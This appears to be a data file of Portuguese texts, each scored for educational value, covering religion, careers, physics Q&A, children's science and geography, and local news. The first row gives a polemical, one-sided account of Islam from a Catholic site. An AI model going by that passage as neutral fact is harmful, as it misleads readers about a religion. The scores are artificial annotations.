é proveniente da antiga religião árabe, a religião israelita, professada por judeus residentes na Arábia. Daí Maomé tirou a base de sua orientação religiosa: existe um só Deus, que se foi revelando aos profetas da humanidade: Adão, Abraão, Moisés, Jesus Cristo e consumou a sua revelação por meio de Maomé, o maior de todos os profetas. Ele via em Jesus Cristo não o Filho de Deus feito homem, mas um profeta eminente. E tomou alguns dados do Cristianismo que conheceu em suas viagens. Venerava a Virgem Maria, ""a única mulher que não foi tocada pelo demônio"", diz o Corão. +Maomé se definiu como o continuador da religião de Abraão e de seu filho Ismael ( o povo árabe é descendente de Ismael, filho de Abraão e Agar). Para justificar sua independência religiosa, Maomé atribuiu a judeus e cristãos ""o grande erro de terem falsificado os livros sagrados e o monoteísmo de Abraão e Ismael"". +O Corão autoriza todo homem a ter quatro esposas legítimas e tantas concubinas escravas quantas seus recursos financeiros lhe permitam. O conceito de guerra santa é central no Islamismo e foi responsável pela rápida propagação árabe nos séculos VII e VIII; morrer em batalha armada torna o maometano ""mártir"", ou seja, herói religioso. Aceitam a ""predestinação"", que marca para cada pessoa a hora da sua morte; isso muito concorreu para que os discípulos de Maomé se lançassem em guerras. +Fonte: http://formacao.cancaonova.com/atualidade/sociedade/o-que-e-o-islamismo/",original,original,original,original,3,0.6 +"A preocupação da sociedade com o meio ambiente colocou em evidência, nos últimos dez anos, a profissão do engenheiro ambiental. Considerada uma das carreiras do futuro, responsável pela sobrevivência dos ecossistemas, a atividade tem diversas atuações no mercado e vem se expandindo em diferentes áreas. Com possibilidades promissoras tanto no serviço público, quanto no privado, a Engenharia Ambiental chama a atenção de muita gente comprometida com o uso responsável dos recursos naturais. +O engenheiro ambiental atua no diagnóstico, manejo, tratamento e controle de problemas ambientais, urbanos ou rurais. O engenheiro, além de identificar e avaliar a dimensão do problema, consegue propor, projetar, implantar e monitorar a solução. Ele desenvolve e aplica tecnologias para proteger o ambiente dos danos causados pelas atividades humanas. +O coordenador do curso de Engenharia Ambiental na Escola Politécnica da Universidade de São Paulo (Poli/USP), Dr. José Carlos Mierzwa, explica que o engenheiro ambientai tem uma formação multidisciplinar, que permite ao profissional trabalhar em diversas áreas. +O professor conta que o engenheiro ambiental atua na avaliação de processos para possibilitar a otimização de seu desempenho ambiental, propondo medidas de redução da poluição e definindo estruturas para o controle da poluição. Além disso, o engenheiro ambiental pode atuar no desenvolvimento de projetos de processos e sistemas. ""Em um âmbito mais amplo, pode desenvolver atividades relativas à avaliação de impactos ambientais e empreendimentos, desenvolvimento de sistemas de gestão ambiental e também em companhias de abastecimento e tratamento de água e órgãos de controle ambiental"", diz. +Empresas do setor de petróleo, químico, mineração, siderúrgicas, bebidas e refrigerantes, ainda setor automobilístico e o de geração de energia, trabalhando no acompanhamento das atividades produtivas, processos de licenciamento ambiental e supervisão dos sistemas de controle da poluição, além do relacionamento com os órgãos de controle ambiental. Também podem atuar na área de pesquisa e desenvolvimento das empresas, em companhias de tratamento de água e esgotos, empresas de construção civil e de consultoria ambiental para elaboração de projetos ou estudos de impactos ambientais. Existem empresas do setor financeiro que contratam engenheiros para a avaliação de riscos de empréstimos e outras atividades associadas. +O curso é organizado em 10 semestres e é dividido em aulas teóricas e práticas. Durante o curso, são vistas disciplinas de cálculo, física, mecânica, probabilidade, estatística e química. As aulas englobam processos de tratamento de águas e efluentes, planejamento urbano, gerenciamento de resíduos sólidos, planejamento e gestão ambiental, toxicologia ambiental. E ainda a avaliação de impactos ambientais, modelagem de sistemas ambientais, produção e conservação de energia, transporte e meio ambiente. +Segundo o professor, a primeira aptidão é um engenheiro preocupado com a necessidade de desenvolvimento do país e melhoria da qualidade de vida da população, com uma preocupação com as questões ambientais. ""As disciplinas de exatas são extremamente relevantes, assim como o seu interesse em inovação, já que, como qualquer engenheiro, o seu foco é o futuro. Saber integrar os conhecimentos técnicos com os de gestão são de grande relevância"", diz. +De acordo com o Conselho Regional de Engenharia e Agronomia (Crea), o piso é de seis salários mínimos para jornada de seis horas, sendo que cada hora adicional a estas vale 25% a mais. Assim, engenheiros com jornada de oito horas diárias devem receber 8,5 salários mínimos por mês, ou seja R$ 6.154,00. +Ranking das 20 melhores universidades para cursar engenharia ambiental, segundo o Exame Nacional de Desempenho dos Estudantes (ENADE), de 2015: +5º Universidade Federal de Santa Catarina (UFSC) +6º Universidade Federal de Campinas (UNICAMP) +8º Universidade Federal Fluminense (UFF) +9º Universidade Federal de Viçosa (UFG)...",original,original,original,original,4,0.8 +"Minha família e eu morávamos em um apartamento com um ar condicionado de 9000 BTU. Nos mudamos para uma casa onde apenas utilizamos um aparelho de ar condicionado mais antigo, de 7500 BTU. Nossa conta de luz, porém, aumentou. A sensação que temos é de que o aparelho mais antigo, apesar de menos potente, consome mais energia. No entanto, isso parece uma contradição lógica, dado que potência é energia por unidade de tempo. Gostaria de saber se é possível que um aparelho eletrônico A tenha mais potência que um aparelho B, mas cujo consumo seja menor (à mesma tensão). Com isso, outras perguntas fluem naturalmente: A potência nominal de um aparelho não é a potência real? Se sim, como estimar a potência real, isto é, o consumo real de um aparelho? Em geral, os aparelhos consomem na verdade mais do que o esperado pela potência nominal (e quanto mais)? Essa relação entre potência nominal e potência real é melhor para os aparelhos mais recentes? Parece daí que estimar o consumo real dos aparelhos é menos trivial do que se imagina. +Desde já agradeço pela atenção! +Respondido por: Prof. Fernando Lang da Silveira - www.if.ufrgs.br/~lang/ +As informações que dás sobre os aparelhos são insuficientes para decidir sobre o real consumo de energia elétrica pelas razões que seguem. +As especificações de 9000 Btu/h (2640 W) e 7500 Btu/h (2200 W) referem-se à capacidade nominal de refrigeração (cnr) dos aparelhos conforme discutido em mais de uma postagem do CREF, por exemplo, Dúvida recorrente sobre potência de condicionadores de ar e Potência de refrigeração versus potência elétrica do condicionador de ar. +Uma das informações diretamente relacionada ao consumo é a potência elétrica do aparelho, que é cerca de 2 a 4 vezes menor do que a cnr, dependendo do modelo do aparelho. Então pode acontecer que um aparelho com menor cnr do que outro, acabe por demandar uma potência elétrica igual ou até maior. É muito importante para o consumo a informação sobre o coeficiente de eficiência energética (cee) do aparelho. Este é a razão entre a potência de refrigeração pela potência elétrica consumida e deve constar também nas informações técnicas do aparelho, podendo ser encontrada em documentos do INMETRO, por exemplo, Etiqueta nacional de conservação de energia. O Selo Procel de Economia de Energia que acompanha o aparelho é muito importante quando deseja-se saber sobre o possível consumo energético. +Adicionalmente, o real consumo de energia depende também de outros fatores desconhecidos no caso específico, como a temperatura selecionada pelo usuário no termostato e as cargas térmicas no ambiente a ser refrigerado. Vide especificamente Sobre a temperatura ideal de ajuste para o condicionador de ar. +“Docendo discimus.” (Sêneca) +Número de visualizações: 3.938 +Compartilhe isso: +Clique para compartilhar no Twitter(abre em nova janela) +Clique para compartilhar no Facebook(abre em nova janela) +Posts Relacionados +2 comentários em “Aparente contradição sobre potência e consumo de aparelhos condicionadores de ar” +Guilherme disse: +3 de maio de 2018 às 09:51 +Com o alto preço da energia elétrica que temos, dependendo do uso que se faz do aparelho de ar condicionado, o custo com a energia consumida supera o valor de compra do aparelho em poucos anos. Assim, geralmente vale muito a pena gastar mais para comprar um aparelho mais eficiente, preferencialmente com a tecnologia inverter, investimento que terá retorno em pouco tempo. +Responder +nelson disse: +11 de novembro de 2020 às 23:57 +A eficiência pode ser conseguida com tecnologias mais aprimoradas, mas uma casa pode ser diferente de paramentos em diversos fatores como, paredes externas, forro não isolantes, Telhado, tamanho de janelas, etc. +Por isso para medir e dimensionar um equipamento, precisa ter essas informações em mãos. +O gasto pode ser devido à relação funcionamento/pausas, a evaporadora (parte interna) gira sempre, mas o compressor da condensadora só quando atinge a temperatura máxima escolhida. No caso dos sistema...",original,original,original,original,4,0.8 +"Você já parou para pensar por que o céu é azul, como se formam as nuvens ou o que causa os ventos? A natureza está cheia de fenômenos incríveis que acontecem ao nosso redor o tempo todo, e entender esses fenômenos é como decifrar um código secreto da Terra! Vamos embarcar juntos nessa aventura pelo mundo da atmosfera, explorando alguns dos seus mistérios mais fascinantes. + +A atmosfera é a camada de gases que envolve o nosso planeta, como um cobertor gigante que nos protege do frio do espaço e dos raios solares nocivos. Ela é composta por diferentes gases, como o nitrogênio, o oxigênio (que respiramos!), o gás carbônico e outros em menor quantidade. Essa mistura de gases é fundamental para a vida na Terra, pois regula a temperatura e permite a existência de água líquida, essencial para todos os seres vivos. + +Um dos fenômenos mais visíveis na atmosfera são as nuvens. Elas se formam quando o vapor de água presente no ar se resfria e se condensa, transformando-se em pequenas gotículas de água ou cristais de gelo. Essas gotículas se juntam e formam as nuvens, que podem ter diferentes formas e tamanhos, dependendo das condições atmosféricas. Já reparou como as nuvens cirrus parecem pinceladas no céu, enquanto as cúmulos lembram algodão doce? + +E o que dizer dos ventos? Eles são causados pelas diferenças de pressão do ar na atmosfera. O ar quente é mais leve e sobe, enquanto o ar frio é mais pesado e desce. Esse movimento do ar cria os ventos, que podem ser desde uma brisa suave até um furacão devastador. A força dos ventos é impressionante e influencia o clima de diferentes regiões do planeta. + +As tempestades, com seus raios e trovões, também são fenômenos atmosféricos impressionantes. Os raios são descargas elétricas que acontecem entre as nuvens e o solo, ou entre as próprias nuvens. O calor intenso do raio aquece o ar rapidamente, causando uma expansão explosiva que gera o som do trovão. É por isso que vemos o raio antes de ouvir o trovão: a luz viaja mais rápido que o som! + +Até mesmo o arco-íris é um fenômeno atmosférico fascinante. Ele surge quando a luz do sol atravessa as gotas de chuva e se divide em diferentes cores, formando um arco colorido no céu. Cada cor do arco-íris corresponde a um comprimento de onda diferente da luz. + +Entender esses fenômenos naturais nos ajuda a compreender melhor o nosso planeta e a importância de cuidar do meio ambiente. Afinal, as ações humanas podem influenciar o clima e a atmosfera, causando mudanças que afetam a todos. Que tal começarmos a observar mais atentamente o céu e os fenômenos que acontecem ao nosso redor? Quais outros fenômenos atmosféricos você já observou? Como eles te fazem sentir? + +A atmosfera está sempre nos mostrando sua beleza e complexidade, basta estarmos atentos e curiosos para desvendar seus segredos!",Ciências,Fenômenos naturais,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas sobre fenômenos atmosféricos, como a composição da atmosfera, a formação de nuvens, os ventos, tempestades e arco-íris, de forma acessível e interessante para crianças e adolescentes. A linguagem é clara e o conteúdo é adequado para o ensino fundamental, incentivando a observação e a curiosidade. O texto introduz conceitos importantes do currículo escolar de ciências e estimula a reflexão sobre a relação entre as ações humanas e o meio ambiente.",5,1.0 +"Para o presidente da autarquia, Manoel Xavier Ferreira Filho, é preciso se atentar à importância do tema deste ano: ""Minha escolha faz a diferença no trânsito” +Organizada pelo Conselho Nacional de Trânsito (Contran) e pelo Departamento Estadual de Trânsito de Goiás (Detran-GO), a programação da Semana Nacional de Trânsito (SNT) teve início na última segunda-feira (18) e segue até sexta-feira (22) com uma série de atividades voltadas à educação e conscientização da sociedade. Para o presidente da autarquia, Manoel Xavier Ferreira Filho, é preciso se atentar à importância do tema deste ano: “Minha escolha faz a diferença no trânsito”. +Segundo Manoel Xavier, a escolha da temática trata de um dos principais fatores que impedem o país de desfrutar de um trânsito seguro. “Nós somos educados, desde a infância, sobre a importância de fazermos as melhores escolhas ao longo da vida. Desde estudos, casamento, emprego, amigos, viagens etc. Aprendemos que serão essas escolhas que determinarão como será nossa vida. No trânsito, não é diferente. Está nas mãos de cada indivíduo realizar a melhor escolha. O modo como você dirige é que decide suas responsabilidades individuais”, explica. +No entanto, o presidente acredita que o Detran-GO tem conseguido mobilizar a sociedade na construção de um ambiente social mais saudável. “Temos trabalhado em todas as frentes visando um trânsito seguro: educação, fiscalização e conscientização. Sem dúvida estamos conseguindo resultados positivos”, afirma. +Uma das principais frentes de atuação do Detran-GO é no trabalho para mudança de comportamento do condutor. Nos últimos anos, segundo Manoel Xavier, o Detran tem intensificado as ações educativas, uma vez que ainda constam entre as principais autuações registradas o excesso de velocidade, a falta de cinto de segurança e o avanço no sinal vermelho como as infrações mais recorrentes. +“Além da atuação constante e consistente dos órgãos de trânsito, como o Detran-GO, é preciso que o cidadão aprenda a ter responsabilidade ao volante. Quando o motorista decide respeitar a +legislação, ele participa da construção de um trânsito mais seguro e humano. É uma questão de vida e solidariedade”, alerta o presidente. +No Brasil, acidentes de transporte terrestres são a oitava maior causa de mortes – pelo menos 44 mil óbitos por ano. Para Manoel Xavier, esses dados podem mudar para melhor. “Esse número poderia ser reduzido se escolhas como respeitar os limites de velocidade da via, não ingerir bebida alcoólica antes de dirigir e utilizar o cinto de segurança fossem sempre feitas. A mudança depende de cada um de nós”, atesta.",original,original,original,original,3,0.6 +"Olá, pequenos exploradores! Já pararam para pensar onde vivem todos os bichinhos, as árvores gigantes e até nós, os humanos? Vivemos em um lugar chamado meio ambiente! Ele é como uma casa gigante que abriga tudo e todos, e por isso precisamos cuidar muito bem dele. + +O meio ambiente é formado por tudo o que existe ao nosso redor: o ar que respiramos, a água que bebemos, o solo onde plantamos, as florestas com seus animais e plantas, os oceanos com seus peixes coloridos, e até as cidades onde moramos. Tudo está conectado! As plantas precisam do sol e da água para crescer, os animais precisam das plantas para se alimentar, e nós precisamos de todos eles para viver bem. Imagine que o meio ambiente é como um time de futebol: cada um tem sua função e todos precisam trabalhar juntos para o time vencer! + +A ecologia é a ciência que estuda essa casa gigante e como todos os seres vivos interagem uns com os outros e com o ambiente em que vivem. Os ecologistas, que são os cientistas que estudam ecologia, nos ajudam a entender como podemos proteger a natureza. Eles são como os detetives da natureza, sempre procurando pistas para solucionar os problemas ambientais. + +Mas por que é tão importante cuidar do meio ambiente? Imagine que você tem um jardim lindo, cheio de flores e borboletas. Se você jogar lixo nesse jardim, ele vai ficar feio e as flores vão morrer, não é mesmo? O mesmo acontece com o nosso meio ambiente! Quando poluímos o ar com fumaça, jogamos lixo nos rios ou desmatamos as florestas, estamos machucando a nossa casa e prejudicando todos os seres vivos. Poluição é como uma sujeira que deixa o meio ambiente doente. + +Existem muitas coisas que podemos fazer para ajudar a proteger o meio ambiente. Podemos economizar água ao escovar os dentes, apagar as luzes quando saímos de um cômodo, plantar árvores, separar o lixo para reciclagem e não jogar lixo nas ruas. Reciclar é como dar uma nova vida para o lixo! Aquelas garrafas plásticas, latas de refrigerante e jornais velhos podem se transformar em novos produtos, economizando recursos naturais e energia. Pequenas ações, quando feitas por muitas pessoas, fazem uma grande diferença! + +Que tal começarmos agora mesmo a cuidar da nossa casa, o meio ambiente? Observe o mundo ao seu redor e pense em como você pode contribuir para um futuro mais verde e feliz para todos os seres vivos. Lembre-se, cada um de nós é um pedacinho importante desse time da natureza! Você já pensou em como você pode ajudar a proteger os animais da sua região? Ou como você pode incentivar seus amigos e familiares a reciclarem mais? O futuro do nosso planeta está em nossas mãos, e cada pequena ação conta!",Ciências,Meio ambiente e ecologia,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas sobre o meio ambiente de forma acessível para crianças, introduzindo conceitos como ecologia e poluição. Incentiva ações práticas de preservação ambiental, como economia de água e reciclagem, adaptadas ao público infantil. A linguagem é clara e o texto é coerente, tornando-o adequado para uso educacional nos anos iniciais do ensino fundamental. O texto não possui elementos complexos ou informações supérfluas.",5,1.0 +"A Perícia Forense é uma área de atuação onde muitos que se interessaram viram na televisão os personagens desvendando mistérios e resolvendo crimes, tornando a área mais conhecida. +Mas para atuar na área, os profissionais precisam adquirir muito conhecimento, o que não é visto na televisão. +Caso queira seguir na profissão de Investigação Forense e Perícia Criminal, será necessário entrar em um curso superior, onde os candidatos devem estudar, em média, dois anos e meio. +Mas dependendo da instituição que você decidir se matricular, o tempo de graduação pode variar. +A grade curricular do curso de Perícia Forense é composta pela apresentação das leis que fazem parte da ciência forense, a aquisição do aprendizado de como elaborar perícias, pareceres e laudos e outras atividades que são exigidas neste setor de trabalho. +Os interessados em ingressar nesse curso de graduação podem encontrá-lo nas principais instituições superiores do Brasil através dos seguintes nomes: Perícia e Genética Forense, Perícia Criminal e Biologia Forense e outros. +O que é a Perícia Forense? +Os profissionais da área de Investigação Forense são responsáveis por analisar e desvendar as pistas que são deixadas na cena do crime, documentação e acidentes. +Sendo assim, os profissionais dessa área precisam estudar constantemente, assim como desenvolver novas técnicas para analisar e interpretar as cenas criminais, assim como seguir a intuição nos casos para que sejam resolvidos com eficiência. +Existem vários fatores e procedimentos que os investigados da Perícia Forense devem seguir para reunir e analisar todas as pistas, produzir laudos e realizar outras atividades essenciais para desvendar os crimes. +Mas é muito importante compreender que todos os investigadores criminais irão atuar na área conforme solicitação das autoridades competentes, assim como os processos judiciais que fazem parte das investigações criminais. +Sendo assim, a investigação irá depender da autorização de advogados, juízes, policiais e outras autoridades. +Quais conhecimentos são necessários? +Os profissionais da área de Perícia Forense precisam possuir alguns conhecimentos básicos para seguir no ramo. +Uma das melhores opções que um graduando da área pode fazer é seguir em uma pós-graduação e adquirir novas técnicas e conhecimento para que possa atuar melhor no mercado de trabalho. +A pós-graduação é recomendada para os formandos em diferentes cursos, como química, biologia, fotografia e outras opções que façam parte das opções de pós do curso de Perícia Forense. +Mas antes de seguir em uma pós-graduação, tente conversar com um profissional que já passou por ela para ter acesso a algumas dicas essenciais e maiores detalhes de como funciona. +Isso porque, a opção é diferente conforme a instituição escolhida para graduação no curso de Perícia Forense. +Em alguns casos, a carga horária da pós é de 360 horas, onde é necessário que o aluno siga algumas disciplinas. +Qual é a grade curricular do curso de Investigação Forense? +A maioria dos estudantes do curso de Investigação Forense são pessoas que já atuaram na área de segurança e desejam crescer na carreira. +Os formandos de cursos superiores, como biologia, química, direito e outros cursos também podem se interessar em realizar esse curso. +Ao se matricular em um curso de Investigação Forense, os graduandos seguem em uma jornada com duração mínima de 18 meses. +O período pode variar de acordo com a instituição de ensino superior que o estudante estiver matriculado. +As modalidades de seguir os semestres podem variar, mas as instituições normalmente oferecem a possibilidade de assistir às aulas de maneira presencial, semi-presencial ou através da EAD. +Os estudantes devem escolher a melhor modalidade para o seu caso, analisando a disponibilidade, necessidade e locomoção. +A carga horária e a grade curricular também podem variar de acordo com a instituição de ensino que os interessados optarem. +Mas algumas disciplinas são comuns nos cursos de Perícia Forense d...",original,original,original,original,4,0.8 +"Causa da morte câncer do estômago +Aos dezesseis anos de idade, em 1814, com interesses pelas ciências naturais, conjugado às questões históricas e sociais, ingressou na Escola Politécnica de Paris. No período de 1817-1824 foi secretário do conde Henri de Saint-Simon, expoente do socialismo utópico. São dessa época algumas fórmulas fundamentais: ""Tudo é relativo, eis o único princípio absoluto"" (1819) e ""Todas as concepções humanas passam por três estágios sucessivos - teológico, metafísico e positivo -, com uma velocidade proporcional à velocidade dos fenômenos correspondentes"" (1822) ""lei dos três estados"". +Sofreu um colapso nervoso enquanto trabalhava na criação de uma filosofia positiva em 1826, supostamente desencadeado por ""problemas conjugais"". Recuperado, iniciou a redação de Curso de filosofia positiva (renomeado para Sistema de filosofia positiva em 1848), trabalho que lhe tomou 22 anos.[1] đ +Publicou o primeiro volume de Síntese Subjetiva em 1856, projetada para abarcar quatro volumes, cada um a tratar de questões específicas das sociedades humanas: lógica, indústria, pedagogias e psicologias. Não pôde concluir a obra ao morrer, possivelmente de câncer, em 5 de setembro de 1857, em Paris. Sua última casa, na rua Monsieur-le-Prince, n. 10, foi posteriormente adquirida por positivistas e transformada no Museu Casa de Auguste Comte. Encontra-se sepultado no Cemitério do Père-Lachaise em Paris na França.[2] +""A gênese do Positivismo ocorreu no século XIX, num momento de transformações sociais e econômicas, políticas e ideológicas, tecnológicas e científicas profundas decorrentes da consolidação do capitalismo, enquanto modo de produção, através da propagação das atividades industriais na Europa e outras regiões do mundo. Portanto, o “século de Comte” e sua amada França mergulharam de corpo e alma numa “deusa” chamada razão, colocando sua fé numa “Nova Religião”, caracterizada pela junção entre a ciência e a tecnologia, tidas como a panaceia da humanidade, no contexto da expansão, pelo Globo, do Capitalismo Industrial."" (VALENTIM 2010). +O alicerce fundamental da obra comtiana é, indiscutivelmente, a ""Lei dos Três Estados"", tendo como precursores nessa ideia seminal os pensadores Condorcet e, antes dele, Turgot. +No primeiro, os fatos observados são explicados pelo sobrenatural, por entidades cuja vontade arbitrária comanda a realidade. Assim, busca-se o absoluto e as causas primeiras e finais (""de onde vim? Para onde vou?""). A fase teológica tem várias subfases: o fetichismo, o politeísmo e o monoteísmo.[carece de fontes?] +No terceiro, ocorre o apogeu do que os dois anteriores prepararam progressivamente. Neste, os fatos são explicados segundo leis gerais abstratas, de ordem inteiramente positiva, em que se deixa de lado o absoluto (que é inacessível) e busca-se o relativo. A partir disso, atividade pacífica e industrial torna-se preponderante, com as diversas nações colaborando entre si.[carece de fontes?] +Como é possível perceber, há uma profunda discussão ao mesmo tempo sociológica, filosófica e epistemológica subjacente à lei dos três estados. +A Igreja Positivista do Brasil, fundada por Miguel Lemos e Raimundo Teixeira Mendes em 1881, em cujos quadros estiveram Benjamin Constant Botelho de Magalhães, o Marechal Rondon e o diplomata Paulo Carneiro, continua ativa no Rio de Janeiro, assim como a Igreja Positivista do Rio Grande do Sul, que segue ativa em Porto Alegre. +Opúsculos de Filosofia Social (1816-1828) (republicados em conjunto, em 1854, como apêndice ao volume IV do Sistema de política positiva) +Curso de filosofia positiva, em 6 volumes (1830-1842) (em 1848 foi renomeado para Sistema de filosofia positiva) +Discurso sobre o conjunto do Positivismo (1851) (Introdução geral ao Sistema de política positiva) +Sistema de política positiva, em 4 volumes (1851-1854) +↑ «Biografia de Auguste Comte - Positivismo e obras». Estudo Prático. 26 de fevereiro de 2014 +O Commons possui uma categoria contendo imagens e outros ficheiro...",original,original,original,original,3,0.6 +"Asces-Unita realiza oficina sobre a história do Frevo – Portal Asces-Unita +Home > Notícias > Asces-Unita realiza oficina sobre a história do Frevo +Durante o mês de Julho será ofertada na programação do Férias no Campus a oficina de frevo, que é um movimento que marca a história pernambucana representando um dos maiores carnavais de rua do mundo. A atividade será aberta ao público e acontecerá no dia 2 de Julho, das 19h às 22h, no Campus II da Asces-Unita. Para esta oficina serão ofertadas 20 vagas e as inscrições podem ser feitas aqui +A proposta da oficina Ferver, Frever, Frevo: cultura e resistência popular é desenvolver uma atividade de caráter teórico e prático com o objetivo de resgatar a origem e importância do frevo, em sua dimensão política-cultural, bem como exercitar passos do referido movimento. +Em 2012, o frevo foi reconhecido como Patrimônio Imaterial da Humanidade pela Organização das Nações Unidas para a Educação, a Ciência e Cultura (UNESCO). Cinco anos antes, o Instituto do Patrimônio Histórico e Artístico Nacional (IPHAN) tinha concedido o título de Patrimônio Cultural Imaterial Brasileiro. Estas ações destacam a resistência e a pluralidade do frevo, tendo em vista que permanece vivo há mais de um século e se diversifica nas modalidades de frevo de rua, frevo-canção e frevo de bloco. +“Queremos trazer justamente o resgate da memória cultural que a gente tem, esse elemento da nossa cultura que nos é tão forte é um referencial nosso para fora do estado e que normalmente não vemos por aqui, exceto no carnaval” destaca o professor, Paulo Ricardo, que será um dos ministrantes da oficina. +O que: Oficina Frevo: cultura e resistência popular +Quando: 2 de Julho, das 19h às 22h +Alunos efetivamente matriculados em Fisioterapia 2010.2 +Boletim 02 – Olimpíadas ASCES 2014",original,original,original,original,3,0.6 +"O e-Aulas é um serviço aberto a todos, ou seja, você não precisa fazer parte da comunidade USP para ter acesso ao conjunto de conteúdos aberto ao público. +Para usufruir de determinadas facilidades (exemplos: organização de playlists, ferramentas de anotações e etc.), recomendamos que os estudantes realizem seu acesso em modo logado no sistema: +Caso você seja aluno ou funcionário da USP basta informar seu número USP e senha USP para validar seu acesso no sistema e poder liberar seu acesso a determinados conteúdos de acesso exclusivo. +Caso você não seja membro da comunidade USP, não tem problema, é possível que você faça seu cadastro no eAulas USP para poder usufruir de determinados recursos que requeiram acesso logado na plataforma. Observe que o uso do sistema é gratuito! +Uma vez identificado no eAulas é só buscar por vídeos de sua área de interesse. Vá em Pesquisar vídeos e se surpreenda com conteúdos das mais diversas áreas do conhecimento. +Tudo num clique! +ATENÇÃO: A maior parte do acervo está aberta para acesso público, entretanto, parte dos conteúdos está disponível sob condições limitadas de acesso. +O eAulas USP não emite comprovantes de participação ou certificados, não oferece tutoria sobre os conteúdos para o público externo. +Professor +Disponibilize aulas, palestras e cursos +Você é professor da USP? +Então disponibilize seus vídeos e outros materiais digitais no e-Aulas. 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A ferramenta de anotações permite que você marque e comente trechos de uma aula para usá-los depois como complementações aos seus estudos. +É estudante de outras instituições de ensino? não tem problema, estes recursos também poderão ser utilizados por você gratuitamente, mediante o preenchimento de um cadastro.",original,original,original,original,2,0.4 +"Olá, pequenos exploradores! Já pararam para pensar em como o Brasil é gigante e cheio de lugares diferentes? Nosso país é como um álbum de figurinhas, com paisagens para todos os gostos! Hoje, vamos embarcar numa viagem incrível para conhecer alguns desses cantinhos especiais. + +Imagine que você está voando bem alto, como um passarinho. Lá de cima, você consegue ver um monte de coisas! Primeiro, talvez você aviste uma floresta enorme, verdinha e cheia de árvores altíssimas. Essa pode ser a Floresta Amazônica, a maior floresta tropical do mundo! Lá vivem muitos animais diferentes, como macacos, araras e onças. É um lugar tão importante que precisamos cuidar muito bem dele. + +Depois, você pode sobrevoar um lugar mais seco, com plantas baixinhas e um sol bem forte. Esse é o sertão, uma região que fica no Nordeste do Brasil. Lá, as pessoas são muito fortes e criativas, e inventam muitas maneiras de viver bem, mesmo com pouca água. Elas fazem artesanato lindo e contam histórias muito divertidas. + +Agora, imagine que você está vendo uma praia linda, com areia branquinha e um mar azul. Essa é a nossa costa, que é enorme! Temos praias com ondas para surfar, praias calminhas para brincar e praias com piscinas naturais cheias de peixinhos coloridos. Que delícia! + +E não podemos esquecer das cidades! Elas são paisagens feitas pelas pessoas, com prédios, casas, ruas e parques. Cada cidade tem sua história e sua beleza. Algumas são bem antigas, com construções que lembram o passado, outras são modernas, com prédios super altos e avenidas largas. + +Todas essas paisagens fazem parte do nosso Brasil. Elas são diferentes, mas todas importantes. Cada uma tem sua beleza e sua história. E nós, como bons brasileiros, precisamos conhecer e cuidar de todas elas! + +Agora, pensem um pouquinho: Qual paisagem do Brasil você mais gostaria de conhecer? Por quê? E o que podemos fazer para ajudar a cuidar de todas essas paisagens maravilhosas?",Geografia,Paisagens brasileiras,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas sobre diferentes paisagens do Brasil, adequadas para o público infantil. Introduz conceitos geográficos de forma lúdica e acessível, estimulando a reflexão sobre a importância da preservação ambiental e a diversidade cultural brasileira. O texto é coerente, focado e apropriado para o ensino fundamental, embora possa ser considerado introdutório. Recebe a pontuação máxima por seu alto valor educacional e adequação ao nível de ensino.",5,1.0 +"Solicita que o Chefe Interino do Poder Executivo, providencie placas de identificação em todas as ruas do município e no Distrito de Sertãozinho. 038-202220220524_22071299",original,original,original,original,1,0.2 +"Já parou para pensar em quantas vezes usamos medidas no nosso dia a dia? Desde a hora que acordamos e olhamos o relógio até a quantidade de suco que bebemos no café da manhã, as medidas estão sempre presentes! No mundo da Matemática, entender as medidas e as grandezas é como ter uma chave mágica que abre portas para resolver problemas e compreender o mundo ao nosso redor. + +Imagine que você está planejando uma festa de aniversário incrível! Você precisa medir o espaço onde a festa vai acontecer para saber quantas mesas e cadeiras cabem. Você precisa calcular a quantidade de refrigerante e bolo para que todos os seus amigos fiquem satisfeitos. E claro, precisa verificar se o tempo para preparar tudo é suficiente! Tudo isso envolve medidas: de comprimento (espaço), de capacidade (líquido), de massa (peso) e de tempo. + +Mas o que são grandezas? Grandezas são tudo aquilo que pode ser medido ou contado. O comprimento de uma sala, a massa de um saco de arroz, o tempo que levamos para correr uma volta na quadra, a temperatura do nosso corpo... Tudo isso são exemplos de grandezas. E para medir essas grandezas, usamos unidades de medida. Por exemplo, para medir o comprimento, podemos usar metros, centímetros ou quilômetros. Para medir a massa, usamos gramas ou quilogramas. Para medir o tempo, usamos segundos, minutos ou horas. + +Uma coisa muito importante é saber que as unidades de medida podem ser convertidas. Se você sabe que 1 metro tem 100 centímetros, você pode converter qualquer medida em metros para centímetros, e vice-versa. Essa habilidade é essencial para resolver problemas práticos e entender as informações que encontramos por aí. + +As medidas não estão só na matemática! Elas estão presentes nas ciências (medindo a temperatura de um experimento), na geografia (calculando a distância entre cidades), na culinária (seguindo uma receita) e até mesmo na arte (criando um desenho em escala). Quanto mais você pratica e explora o mundo das medidas, mais fácil fica entender as coisas ao seu redor. + +Então, da próxima vez que você estiver jogando videogame, cozinhando com a sua família, ou mesmo indo para a escola, preste atenção nas medidas que você usa. Observe como as grandezas estão presentes em tudo o que você faz. E lembre-se: a matemática é uma ferramenta poderosa para entender o mundo. Que tal medir a altura de cada pessoa da sua família e descobrir quem é o mais alto? Ou calcular quantos quilômetros você percorre em uma semana indo para a escola? Use a matemática para explorar o mundo e divirta-se!",Matemática,Medidas e grandezas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de medidas e grandezas de forma clara e contextualizada para o cotidiano dos alunos. A linguagem é acessível e os exemplos são relevantes para o ensino fundamental, incentivando a aplicação prática da matemática em diversas áreas do conhecimento. O texto é coerente, bem estruturado e estimula a exploração e o aprendizado ativo.",5,1.0 +"© 2021 AccuWeather, Inc. ""AccuWeather"" e o design do sol são marcas comerciais registadas da AccuWeather, Inc. Todos os direitos reservados. +Termos de utilização | Política de Privacidade | Política de cookies | Divulgação TAG | Não vender os meus dados Confirmado Não vender os seus dados",original,original,original,original,1,0.2 +"Pim lv - Trabalhos de Pesquisa - Carivaldo +PRINCIPIOS E MÉTODOS FUNDAMENTAIS +BRUNO ALEXANDRE FERREIRA Aluno Nº 20101013 +CARLOS DUARTE LOPES Aluno Nº 20101017 +RESUMO: O presente trabalho aborda o tema “Avaliação de Desempenho”, de forma abrangente e sucinta. São tratados os principais procedimentos a cumprir bem como os métodos mais usados na Avaliação de Desempenho e respectivos errosassociados. +INDÍCE 1. INTRODUÇÃO 3 2. 